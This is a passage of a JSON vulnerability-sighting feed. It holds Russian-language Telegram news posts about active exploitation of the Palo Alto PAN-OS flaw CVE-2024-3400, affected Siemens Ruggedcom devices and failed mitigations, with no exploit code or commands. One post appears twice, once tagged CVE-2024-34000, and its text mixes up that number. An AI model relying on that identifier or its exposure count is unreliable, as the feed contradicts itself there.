\u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435 Palo Alto Networks \u0434\u043e\u0431\u0440\u0430\u043b\u0430\u0441\u044c \u0438 \u0434\u043e \u043b\u0438\u043d\u0435\u0439\u043a\u0438 \u0442\u0435\u0445\u0433\u0438\u0433\u0430\u043d\u0442\u0430.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0443\u043b\u044f \u0443\u0436\u0435 \u043a\u0430\u043a \u043c\u0435\u0441\u044f\u0446 CVE-2024-3400 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Ruggedcom APE1808, \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u043c \u044d\u043a\u0440\u0430\u043d\u043e\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f Palo Alto Networks (NGFW) \u043d\u0430\u0440\u044f\u0434\u0443 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0442 Fortinet\u00a0\u0438\u00a0Nozomi Networks.\n\nSiemens \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044f \u0442\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\u00a0\n\n\u041f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u0430 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Ruggedcom APE1808 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439 \u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\u00a0\n\n\u041a\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, CVE-2024-3400 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0435\u0449\u0435 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Palo Alto Networks \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439, \u043d\u043e Siemens \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0435\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442.\n\n\u041d\u043e \u044d\u0442\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0435, \u0430 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 PoC \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0440\u0435\u0437\u043a\u043e \u0441\u043a\u0430\u043a\u043d\u0443\u043b\u0430 \u0432\u0432\u0435\u0440\u0445.\n\n\u041f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shadowserver Foundation, \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 Palo Alto Networks, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2024-3400 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0441\u0435\u0442\u0438, \u0432\u0441\u0435 \u0435\u0449\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 6000.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2024-04-23T15:14:48.000000Z"}, {"uuid": "52b5197f-a32d-432f-b502-1aaf80d36d48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34000", "type": "exploited", "source": "https://t.me/true_secator/5648", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 PAN-OS \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Palo Alto Networks \u043e\u0431\u0437\u0430\u0432\u0435\u043b\u0430\u0441\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438.\n\n\u041a\u0430\u043a \u0440\u0430\u043d\u0435\u0435 \u043c\u044b \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438, CVE-2024-3400 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u043e\u0434 root \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 PAN-OS 10.2, PAN-OS 11.0 \u0438 PAN-OS 11.1.\n\n\u0427\u0435\u0440\u0435\u0437 \u0434\u0435\u043d\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Palo Alto Networks \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-3400, watchTowr Labs \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430\u00a0\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445.\n\n\u0418 \u044d\u0442\u043e \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 82 000\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0430\u0442\u0430\u043a CVE-2024-34000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432, 40% \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0421\u0428\u0410.\n\n\u0420\u0430\u0431\u043e\u0447\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430, \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c TrustedSec, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0435\u0433\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Palo Alto Networks \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u043d\u0435\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0417\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0430\u0442\u0430\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f PAN-OS.", "creation_timestamp": "2024-04-17T16:13:02.000000Z"}, {"uuid": "c9f3675c-1721-45bf-9b45-2cda7029fa33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/true_secator/5648", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 PAN-OS \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Palo Alto Networks \u043e\u0431\u0437\u0430\u0432\u0435\u043b\u0430\u0441\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438.\n\n\u041a\u0430\u043a \u0440\u0430\u043d\u0435\u0435 \u043c\u044b \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438, CVE-2024-3400 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u043e\u0434 root \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 PAN-OS 10.2, PAN-OS 11.0 \u0438 PAN-OS 11.1.\n\n\u0427\u0435\u0440\u0435\u0437 \u0434\u0435\u043d\u044c \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Palo Alto Networks \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-3400, watchTowr Labs \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430\u00a0\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445.\n\n\u0418 \u044d\u0442\u043e \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 82 000\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u043b\u044f \u0430\u0442\u0430\u043a CVE-2024-34000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432, 40% \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u0421\u0428\u0410.\n\n\u0420\u0430\u0431\u043e\u0447\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430, \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c TrustedSec, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0435\u0433\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Palo Alto Networks \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0440\u0430\u043d\u0435\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0417\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0430\u0442\u0430\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f PAN-OS.", "creation_timestamp": "2024-04-17T16:13:02.000000Z"}, {"uuid": "f67702eb-c136-4aeb-b9f8-8de216d0e742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/true_secator/5637", "content": "10-\u0442\u0438 \u0431\u0430\u043b\u044c\u043d\u0430\u044f 0-day \u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u0430\u0445 Palo Alto Networks \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 APT, \u043e\u0442\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a UTA0218 (\u0438\u043b\u0438 Operation MidnightEclipse).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e GlobalProtect VPN \u0432 PAN-OS \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445 PAN-OS 10.2, PAN-OS 11.0 \u0438 PAN-OS 11.1.\n\nPalo Alto Networks \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 14 \u0430\u043f\u0440\u0435\u043b\u044f. \u041f\u043e\u043a\u0430 \u0436\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442 CVE-2024-3400 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439, \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \n\nAPT-\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Volexity, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0438 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c \u0435\u0449\u0435 26 \u043c\u0430\u0440\u0442\u0430, \u043d\u043e \u043d\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043b \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0434\u043e 10 